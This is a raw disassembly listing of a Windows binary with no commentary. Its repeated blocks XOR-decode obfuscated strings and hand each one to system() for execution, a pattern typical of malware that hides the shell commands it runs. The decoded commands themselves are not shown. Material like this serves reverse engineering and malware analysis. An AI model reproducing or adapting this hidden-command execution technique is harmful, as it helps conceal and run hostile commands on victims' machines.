pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x1400553b0
cmp r8d, 0x9c
jge 0x1400554e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x9c
jl 0x1400554b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa230]
lea rcx, [rbp + 0x7a]
mov byte [rbp + 0x7a], al
call fcn.14006de60
mov r10, rax
cmp byte [rax + 0xad], 0
je 0x140055664
mov r8d, esi
cmp r15d, 2
jl 0x140055629
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa8
jl 0x140055530
cmp r8d, 0xae
jge 0x140055664
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xae
jl 0x140055630
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x865d]
lea rcx, [rbp + 0x7b]
mov byte [rbp + 0x7b], al
call fcn.14006def0
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x1400557e4
mov r8d, esi
cmp r15d, 2
jl 0x1400557a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x1400556b0
cmp r8d, 0x97
jge 0x1400557e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x1400557b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9301]
lea rcx, [rbp + 0x7c]
mov byte [rbp + 0x7c], al
call fcn.14006df80
mov r10, rax
cmp byte [rax + 0x9d], 0
je 0x140055964
mov r8d, esi
cmp r15d, 2
jl 0x140055929
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140055830
cmp r8d, 0x9e
jge 0x140055964
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x9e
jl 0x140055930
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7ff3]
lea rcx, [rbp + 0x7d]
mov byte [rbp + 0x7d], al
call fcn.14006e020
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x140055ae4
mov r8d, esi
cmp r15d, 2
jl 0x140055aa9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x1400559b0
cmp r8d, 0x93
jge 0x140055ae4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x140055ab0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8f57]
lea rcx, [rbp + 0x7e]
mov byte [rbp + 0x7e], al
call fcn.14006e0b0
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x140055c64
mov r8d, esi
cmp r15d, 2
jl 0x140055c29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140055b30
cmp r8d, 0x9c
jge 0x140055c64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x9c
jl 0x140055c30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x91c7]
lea rcx, [rbp + 0x7f]
mov byte [rbp + 0x7f], al
call fcn.14006e140
mov r10, rax
cmp byte [rax + 0x9c], 0
je 0x140055de4
mov r8d, esi
cmp r15d, 2
jl 0x140055da9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140055cb0
cmp r8d, 0x9d
jge 0x140055de4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x9d
jl 0x140055db0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x96b9]
lea rcx, [rbp + 0x80]
mov byte [rbp + 0x80], al
call fcn.14006e1e0
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x140055f6d
mov r8d, esi
cmp r15d, 2
jl 0x140055f30
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x140055e40
jmp 0x140055f6d
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x140055f40
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9759]
lea rcx, [rbp + 0x81]
mov byte [rbp + 0x81], al
call fcn.14006e250
mov r10, rax
cmp byte [rax + 0x9f], 0
je 0x1400560ed
mov r8d, esi
cmp r15d, 2
jl 0x1400560b0
movdqa xmmword [rbp + 0x10], xmm13
mov edx, esi
mov r8d, dword [rbp + 0x10]
mov rcx, rax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0xa0
jl 0x140055fc0
jmp 0x1400560ed
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x1400560c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x99da]
lea rcx, [rbp + 0x82]
mov byte [rbp + 0x82], al
call fcn.14006e2c0
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140056274
mov r8d, esi
cmp r15d, 2
jl 0x140056239
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x140056140
cmp r8d, 0xa1
jge 0x140056274
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x140056240
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9a7b]
lea rcx, [rbp + 0x83]
mov byte [rbp + 0x83], al
call fcn.14006e340
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x1400563f4
mov r8d, esi
cmp r15d, 2
jl 0x1400563ba
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x1400562c1
cmp r8d, 0xa1
jge 0x1400563f4
movsxd r9, r8d
add r9, r10
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x1400563c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x3a69]
lea rcx, [rbp + 0x84]
mov byte [rbp + 0x84], al
call fcn.14006e3c0
mov r10, rax
cmp byte [rax + 0x2d], 0
je 0x140056571
mov r8d, esi
cmp r15d, 2
jl 0x140056533
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x28
jl 0x140056440
cmp r8d, 0x2e
jge 0x140056571
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x2e
jl 0x140056540
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x5dc8]
lea rcx, [rbp + 0x85]
mov byte [rbp + 0x85], al
call fcn.14006e400
mov r10, rax
cmp byte [rax + 0x5b], 0
je 0x1400566f1
mov r8d, esi
cmp r15d, 2
jl 0x1400566b3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x1400565c0
cmp r8d, 0x5c
jge 0x1400566f1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x5c
jl 0x1400566c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x660a]
lea rcx, [rbp + 0x86]
mov byte [rbp + 0x86], al
call fcn.14006e450
mov r10, rax
cmp byte [rax + 0x62], 0
je 0x140056871
mov r8d, esi
cmp r15d, 2
jl 0x140056833
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
